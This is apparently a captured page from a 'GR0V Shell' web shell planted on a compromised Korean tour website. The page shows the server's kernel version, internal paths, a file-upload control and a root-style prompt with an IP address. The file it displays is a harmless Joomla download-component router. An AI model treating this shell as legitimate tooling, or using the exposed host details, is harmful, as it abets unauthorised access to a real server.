? GR0V Shell

GR0V shell

Linux www.koreapackagetour.com 2.6.32-042stab145.3 #1 SMP Thu Jun 11 14:05:04 MSK 2020 x86_64

Path : /home/admin/public_html/old/promice/components/com_download/
File Upload :
Current File : /home/admin/public_html/old/promice/components/com_download/router.php

<?php
/**
* @version		$Id: router.php 10711 2008-08-21 10:09:03Z eddieajau $
* @package		joomla
*/

function downloadBuildRoute(&$query)
{
	$segments = array();

	// get a menu item based on Itemid or currently active
	$menu = &JSite::getMenu();
	if (empty($query['Itemid'])) {
		$menuItem = &$menu->getActive();
	} else {
		$menuItem = &$menu->getItem($query['Itemid']);
	}
	$mView	= (empty($menuItem->query['view'])) ? null : $menuItem->query['view'];
	$mCatid	= (empty($menuItem->query['cid'])) ? null : $menuItem->query['cid'];
	$mId	= (empty($menuItem->query['pid'])) ? null : $menuItem->query['pid'];

	if(isset($query['view']))	{
		$view = $query['view'];
		$segments[] = $query['view'];
		unset($query['view']);
	};

	// are we dealing with an download that is attached to a menu item?
	if (($mView == 'download') and (isset($query['pid'])) and ($mId == intval($query['pid']))) {
		unset($query['view']);
		unset($query['cid']);
		unset($query['pid']);
	}

	if (isset($query['cid'])) {
		// if we are routing an download or category where the category id matches the menu catid, don't include the category segment
		if ($view == 'download')   {
			$segments[] = $query['cid'];
		}
		unset($query['cid']);
	};

	if(isset($query['pid'])) {
		if (empty($query['Itemid'])) {
			$segments[] = $query['pid'];
		} else {
			if (isset($menuItem->query['pid'])) {
				if($query['pid'] != $mId) {
					$segments[] = $query['pid'];
				}
			} else {
				$segments[] = $query['pid'];
			}
		}
		unset($query['pid']);
	};
	return $segments;
}

function downloadParseRoute($segments){
	$vars = array();
	//Get the active menu item
	$menu =& JSite::getMenu();
	$item =& $menu->getActive();
	$count = count($segments);
	switch($item->query['view']){
		case 'download' :
			$vars['cid']  = $segments[1];
			$vars['pid']	  = $segments[$count-1];
			$vars['view'] = 'download';
		 break;
		 default:
			$vars['cid']  = $segments[1];
			$vars['pid']	  = $segments[$count-1];
			$vars['view'] = 'download';
		 break;
	}
	return $vars;
}

T1KUS90T
  root-grov@210.1.60.28:~$